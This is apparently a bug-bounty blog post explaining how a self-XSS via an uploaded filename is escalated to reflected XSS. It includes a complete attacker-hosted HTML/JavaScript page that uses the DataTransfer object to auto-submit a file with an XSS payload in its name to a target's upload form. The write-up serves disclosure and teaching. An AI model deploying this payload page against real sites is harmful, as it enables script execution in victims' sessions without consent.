Self-XSS to rXSS via Uploaded FileName

The other day I found a self XSS that could be escalated to a reflected XSS. The method for doing so used a Javascript object I’d never heard of before and I didn’t find any examples specifically referencing bug bounty so I thought I’d share in case it helps anyone in the future.

The Self XSS

The upload page had code that looked like this:

<html>
  <body>
    <form enctype="multipart/form-data" action="upload" method="POST">
      Upload file<input name="theFile" type="file">
      <input type="submit" value="Upload file now">
    </form>
  </body>
</html>

And upon POSTing the form, the name of the uploaded file was displayed on the page. So if you uploaded RCE_Please.php the resulting page displayed “Thanks for uploading RCE_Please.php”.

The self XSS was easy - upload a file called <script>alert(document.domain)</script>.

Escalating to Reflected XSS

First attempt - see if the reflected parameter can come from a GET request. No luck.

Second attempt - Use an XMLHTTPRequest to POST the required payload from an attacker controlled page. No luck because of CORS.

Third attempt - Use Javascript to set the contents of the form and the name of the uploaded file. This wasn’t as easy as I thought it would be because there are browser level protections on modifying the input’s file array. These protections ensure that attackers can’t upload arbitrary files from a victim’s computer. You can’t even set defaults in HTML! I guess this is an okay feature to prevent browser user LFI attacks. After some Googling I found this Stack Overflow answer which introduced me to the DataTransfer Object.

Without further ado, this is the malicious HTML/JS that can be hosted by an attacker so that if a victim navigates to it, the rXSS will fire on the target domain.


<html>
  <body>
    <form id="theForm" enctype="multipart/form-data" action="https://target.domain/upload" method="POST">
      <input id="theInput" name="theFile" type="file">
      <input type="submit" value="Upload file now">
    </form>
    <script>
      setTimeout(() => {
        const f = document.getElementById("theForm");
        const i = document.getElementById("theInput");
        const dt = new DataTransfer()
        const files = [
          new File(['content'], 'maliciousfilename.txt<img src=x onerror=alert(document.domain)>')
        ];

        files.forEach(f => dt.items.add(f));
        i.files = dt.files;

        f.submit();
      }, 1000);
    </script>
  </body>
  </html>

The setTimeout is just there so the triager can see the attacker’s page before being redirected.

Conclusion

This was new to me, so I hope it was new to you and comes in handy one day. Happy Hunting friends!